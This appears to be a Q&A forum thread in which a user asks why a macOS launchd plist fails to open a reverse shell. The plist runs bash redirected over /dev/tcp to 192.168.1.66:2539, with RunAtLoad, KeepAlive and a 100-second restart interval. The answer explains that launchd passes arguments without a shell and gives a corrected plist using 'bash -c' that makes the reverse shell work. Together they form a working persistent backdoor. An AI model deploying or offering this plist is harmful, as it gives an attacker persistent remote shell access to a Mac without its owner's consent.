0

Does anyone have any ideas why this fails to execute a reverse stream connection when loaded?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.unix.bash.plist</string>
        <key>ProgramArguments</key>
        <array>
                <string>/bin/bash</string>
                <string>-i</string>
                <string>&gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>StartInterval</key>
        <integer>100</integer>
        <key>KeepAlive</key>
        <true/>
</dict>
</plist>

1 Answer 1

1

Redirections such as < or > (and in most Unixes, even the /dev/tcp special files) are part of the shell's command syntax, and can be used only inside a shell that supports them. However, launchd does not use any shell to start services – it creates the process directly using execve() or similar functions, passing a list of arguments that are not interpreted further.

In this case, /bin/bash is executed, and receives the following arguments:

  • argv[0] = "/bin/bash"
  • argv[1] = "-i"
  • argv[2] = ">& /dev/tcp/192.168.1.66/2539 0>& 1"
  • argv[3] = NULL

Bash interprets the second argument (argv[2]) as a file name of a shell script to run; since such a file doesn't exist, bash exits.


Now, if you need the command to be interpreted by a shell, you will have to run a shell manually:

    <key>ProgramArguments</key>
    <array>
            <string>/bin/bash</string>
            <string>-c</string>
            <string>bash -i &gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
    </array>
2
  • so are you saying this cant work, or giving me a solution?
    – November
    Dec 9, 2012 at 21:58
  • Thank you for answering my question. I know its not on topic but should this file now connect a shell back to 192.168.1.66 on 2539?
    – November
    Dec 10, 2012 at 3:06

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .